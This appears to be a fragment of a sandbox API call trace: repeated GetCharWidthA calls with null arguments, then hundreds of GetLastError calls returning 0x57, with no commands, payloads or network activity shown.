[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.292] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.293] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.294] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.295] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.296] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.297] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.298] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.299] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.588] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.589] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.590] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
[0043.591] GetLastError () returned 0x57
